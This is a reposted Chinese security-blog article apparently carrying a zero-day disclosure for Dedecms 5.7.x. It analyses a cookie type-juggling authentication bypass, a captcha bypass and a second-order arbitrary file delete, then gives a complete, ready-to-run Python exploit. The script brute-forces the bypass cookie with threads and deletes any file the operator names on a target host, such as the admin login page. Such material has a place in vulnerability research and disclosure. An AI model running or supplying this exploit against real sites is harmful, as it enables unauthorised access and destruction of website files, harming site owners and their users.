【poc】Dedecms 身份绕过漏洞

admin 2022年4月23日05:39:59代码审计评论46 views10170字阅读33分54秒阅读模式
#!/usr/bin/python3"""# Dedecms GetCookie Type Juggling Authentication Bypass Vulnerability## Tested on the following versions: 
- v5.7.80 release- v5.7.84 release
## Released as zero-day due to a lack of response:
2021-10-21 - Sent to [email protected]2021-11-08 - No response, sent a reminder to [email protected]2021-11-22 - No response, public dislcosure
## Summary:
The vulnerability chain allows unauthenticated attackers to delete arbitrary files from the target system. Although authentication is required, the existing authentication mechanism can be bypassed. This vulnerability can be leveraged to cause a denial of service.
## Notes:
- The config member open setting, $cfg_mb_open needs to be set to 'Y'. The default is 'N'.- The second "vulnerability" requires that php-gd is not installed on the target system but this is not critical to exploit the authentication bypass since the captcha is only used for the file delete
## Vulnerability Analysis:
There are three bugs used in this chain:
1. cookie.helper GetCookie Type Juggling Authentication Bypass Vulnerability Found by: Steven Seeley of Qihoo 360 Vulcan Team2. vdimgck echo_validate_image captcha bypass Vulnerability Found by: Steven Seeley of Qihoo 360 Vulcan Team3. inc_batchup DelArc Arbitrary File Delete Vulnerability Found by: <redacted>
### cookie.helper GetCookie Type Juggling Authentication Bypass VulnerabilityCVSS: 7.3 (/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)
There are several parts of the code that perform the authentication check, but for this I will focus on the `plus/stow.php` script:
```php$ml = new MemberLogin(); // 1
if ($ml->M_ID == 0) { // 2 ShowMsg('只有用户才允许收藏操作!', 'javascript:window.close();'); exit();}```
This code creates a new `MemberLogin` instance at [1] and either calls `IsLogin` or checks `M_ID` != 0 at [2]. The `IsLogin` function just returns true if the `M_ID` is > 0. Inside of the `include/memberlogin.class.php` script:
```phpclass MemberLogin{ //... function __construct($kptime = -1, $cache=FALSE) { //... $this->M_ID = $this->GetNum(GetCookie("DedeUserID")); // 3 //... } //... function IsLogin() { if($this->M_ID > 0) return TRUE; else return FALSE; }```
The `M_ID` is set at [3] from `GetCookie` and `GetNum` just converts it to a number. Inside of the `include/helpers/cookie.helper.php` script:
```phpif ( ! function_exists('GetCookie')){ function GetCookie($key) { global $cfg_cookie_encode; if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'1BH21ANI1AGD297L1FF21LN02BGE1DNG']) ) { return ''; } else { if($_COOKIE[$key.'1BH21ANI1AGD297L1FF21LN02BGE1DNG']!=substr(md5($key.$cfg_cookie_encode.$_COOKIE[$key]),0,16)) // 4 { return ''; } else { return $_COOKIE[$key]; } } }}```
We can see the juggle at [4] with `!=`. This is enough to juggle the cookie DedeUserID__ckMd5 using the DedeUserID cookie with can result in an authentication bypass.
### vdimgck echo_validate_image captcha bypass Vulnerability
Inside of ./include/vdimgck.php, there is a weakness:
```phpif (!echo_validate_image($config)){ // 如果不成功则初始化一个默认验证码 @session_start(); $_SESSION['securimage_code_value'] = strtolower('abcd'); $im = @imagecreatefromjpeg(dirname(__FILE__).'/data/vdcode.jpg'); header("Pragma:no-cachern"); header("Cache-Control:no-cachern"); header("Expires:0rn"); imagejpeg($im); imagedestroy($im);}
function echo_validate_image( $config = array() ){ @session_start();
if ( !function_exists('imagettftext') ) { return false; } //...```
if php-gd isn't installed, then this function will not exist! Not the cleanest bypass, but good enough for a fun exploit :P
### inc_batchup DelArc Arbitrary File Delete Vulnerability
Inside of `member/inc/inc_batchup.php` we see:
```phpfunction DelArc($aid){ global $dsql,$cfg_cookie_encode,$cfg_ml,$cfg_upload_switch,$cfg_medias_dir; $aid = intval($aid);
//读取文档信息 $arctitle = ''; $arcurl = '';
$arcQuery = "SELECT arc.*,ch.addtable,tp.typedir,tp.typename,tp.namerule,tp.namerule2,tp.ispart,tp.moresite,tp.siteurl,tp.sitepath,ch.nid FROM `#@__archives` arc LEFT JOIN `#@__arctype` tp ON tp.id=arc.typeid LEFT JOIN `#@__channeltype` ch ON ch.id=arc.channel WHERE arc.id='$aid' "; $arcRow = $dsql->GetOne($arcQuery); if(!is_array($arcRow)) { return false; }
//删除数据库的内容 //$dsql->ExecuteNoneQuery(" DELETE FROM `#@__arctiny` WHERE id='$aid' "); if($arcRow['addtable']!='') { //判断删除文章附件变量是否开启; if($cfg_upload_switch == 'Y') { //判断文章属性; switch($arcRow['nid']) { case "image": $nid = "imgurls"; break; case "article": $nid = "body"; break; case "soft": $nid = "softlinks"; break; case "shop": $nid = "body"; break; default: $nid = ""; break; } if($nid !="") { $row = $dsql->GetOne("SELECT $nid FROM ".$arcRow['addtable']." WHERE aid = '$aid'"); $licp = $dsql->GetOne("SELECT litpic FROM `#@__archives` WHERE id = '$aid'"); if($licp['litpic'] != "") { $litpic = DEDEROOT.$licp['litpic']; if(file_exists($litpic) && !is_dir($litpic)) { @unlink($litpic); // 1 }```
The `unlink` at [1] is reachable by using the `member/archives_do.php` script:
```phpelse if($dopost=="delArc"){ CheckRank(0,0); include_once(DEDEMEMBER."/inc/inc_batchup.php"); $ENV_GOBACK_URL = empty($_COOKIE['ENV_GOBACK_URL']) ? 'content_list.php?channelid=' : $_COOKIE['ENV_GOBACK_URL'];

$equery = "SELECT arc.channel,arc.senddate,arc.arcrank,ch.maintable,ch.addtable,ch.issystem,ch.arcsta FROM `#@__arctiny` arc LEFT JOIN `#@__channeltype` ch ON ch.id=arc.channel WHERE arc.id='$aid' ";
$row = $dsql->GetOne($equery); if(!is_array($row)) { ShowMsg("你没有权限删除这篇文档!","-1"); exit(); } if(trim($row['maintable'])=='') $row['maintable'] = '#@__archives'; if($row['issystem']==-1) { $equery = "SELECT mid FROM `{$row['addtable']}` WHERE aid='$aid' AND mid='".$cfg_ml->M_ID."' "; } else { $equery = "SELECT mid,litpic from `{$row['maintable']}` WHERE id='$aid' AND mid='".$cfg_ml->M_ID."' "; } $arr = $dsql->GetOne($equery); if(!is_array($arr)) { ShowMsg("你没有权限删除这篇文档!","-1"); exit(); }
if($row['arcrank']>=0) { $dtime = time(); $maxtime = $cfg_mb_editday * 24 *3600; if($dtime - $row['senddate'] > $maxtime) { ShowMsg("这篇文档已经锁定,你不能再删除它!","-1"); exit(); } }
$channelid = $row['channel']; $row['litpic'] = (isset($arr['litpic']) ? $arr['litpic'] : '');
//删除文档 if($row['issystem']!=-1) $rs = DelArc($aid); // 2```
`DelArc` can be reached with a request like so:
```GET /member/archives_do.php?aid=XXX&dopost=delArc HTTP/1.1Host: target```
But we need a way to poison the `litpic` variable. The answer is in the `member/album_add.php` script:
```php if($formhtml==1) { $imagebody = stripslashes($imagebody); $imgurls .= GetCurContentAlbum($imagebody,$copysource,$litpicname); if($ddisfirst==1 && $litpic=='' && !empty($litpicname)) { $litpic = $litpicname; $hasone = true; } }```
Then later in the script we see:
```php $inQuery = "INSERT INTO `#@__archives`(id,typeid,sortrank,flag,ismake,channel,arcrank,click,money,title,shorttitle,color,writer,source,litpic,pubdate,senddate,mid,description,keywords,mtype)VALUES ('$arcID','$typeid','$sortrank','$flag','$ismake','$channelid','$arcrank','0','$money','$title','$shorttitle','$color','$writer','$source','$litpic','$pubdate','$senddate','$mid','$description','$keywords','$mtypesid'); "; if(!$dsql->ExecuteNoneQuery($inQuery)) { $gerr = $dsql->GetError(); $dsql->ExecuteNoneQuery("DELETE FROM `#@__arctiny` WHERE id='$arcID' "); ShowMsg("把数据保存到数据库主表 `#@__archives` 时出错,请联系管理员。","javascript:;"); exit(); }```
`$litpic` is unchecked when being inserted into the database. This results in a second order file deletion.
# Proof of Concept:
It took just under 5 minutes in my testing to bypass authentication against a stock Apache2 server and delete the admin login page.
```[email protected]:~$ time ./poc.py 2 192.168.184.175 dede/login.php(+) remember, patience is a virtue(+) targeting user id: 2(+) found: DedeUserID=2bzyi;DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=0(+) done! setting up file delete(+) setting up second order delete!(+) deleting file install/login.php!
real 4m57.724suser 1m25.482ssys 0m18.718s```
# Timeline:
- 21/10/2021: Reported to [email protected]- 08/11/2021: No response, reminded developer of the existing vulnerability.- 22/11/2021: No response, public dislcosure."""
import stringimport reimport itertoolsimport requestsimport sysimport randomimport timeimport hashlibimport threadingfrom queue import Queue
def get_cookies(member, code): c = { "DedeUserID" : member + code, "DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG" : "0", # juggle } return c
def bypass_authentication(target, member, code): global found global counter if (found == False): counter += 1 print("(+) attempt %d using: %s" % (counter, code), end='r') try: r = requests.head("http://%s/plus/stow.php" % target, params={"aid":"1"}, cookies=get_cookies(member, code)) if re.search("DedeLoginTime=(d*);", r.headers["Set-Cookie"]): print("(+) found: DedeUserID=%s;DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=0" % (member + code)) found = code except requests.exceptions.RequestException as e: pass
def worker(target, member, code_queue): while (found == False): code = code_queue.get() bypass_authentication(target, member, code) code_queue.task_done()
def id_generator(size=4, chars=string.ascii_lowercase): return ''.join(random.choice(chars) for _ in range(size))
def get_captcha(target): r = requests.get("http://%s/include/vdimgck.php" % target, stream=True) s = hashlib.sha1() s.update(r.content) if (s.hexdigest() == "c9393ece94bee5f61066a938894e6744b7a18fff"): match = re.search("PHPSESSID=(.*);", r.headers['set-cookie']) if match: return ["abcd", match.group(1)] # add a prompt here to capture the code from the attacker if you don't want to use bug #2 return None
def inject_delete(target, captcha, file_to_delete, member, code): p = { "title" : id_generator(), "vdcode" : captcha[0], "formhtml" : "1", "typeid" : "13", # don't change, works on default "channelid" : "2", # don't change, works on default "litpicname" : "/%s" % file_to_delete, "dopost" : "save" } c = get_cookies(member, code) c["PHPSESSID"] = captcha[1] r = requests.get("http://%s/member/album_add.php" % target, params=p, cookies=c) match = re.search("view.php?aid=(d*)", r.text) if match: return match.group(1) return None
def delete_file(target, aid, captcha, member, code): c = get_cookies(member, code) c["PHPSESSID"] = captcha[1] p = { "aid" : aid, "dopost" : "delArc" } requests.get("http://%s/member/archives_do.php" % target, params=p, cookies=c)
def main(): if(len(sys.argv) < 4): print("(+) usage: %s <id> <target> <file>" % sys.argv[0]) print("(+) eg: %s 2 192.168.184.175 dede/login.php" % sys.argv[0]) sys.exit(1) member = sys.argv[1] target = sys.argv[2] rmfile = sys.argv[3] print("(+) remember, patience is a virtue") print("(+) targeting user id: %s" % member) code_queue = Queue() # we use 4 as the standard bruteforce here for key in map(''.join, itertools.product(string.ascii_lowercase, repeat=4)): code_queue.put(key) for i in range(8): t = threading.Thread(target=worker, args=[target, member, code_queue]) t.start() while(found == False): time.sleep(0.1) print("(+) done! setting up file delete") captcha = get_captcha(target) if captcha != None: print("(+) setting up second order delete!") aid = inject_delete(target, captcha, rmfile, member, found) if aid: print("(+) deleting file %s!" % rmfile) delete_file(target, aid, captcha, member, found) else: print("(-) failed to delete file: %s" % rmfile) if __name__ == "__main__": counter = 0 found = False main()


原文始发于微信公众号(b1gpig信息安全):【poc】Dedecms 身份绕过漏洞

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日05:39:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  【poc】Dedecms 身份绕过漏洞 http://cn-sec.com/archives/934103.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: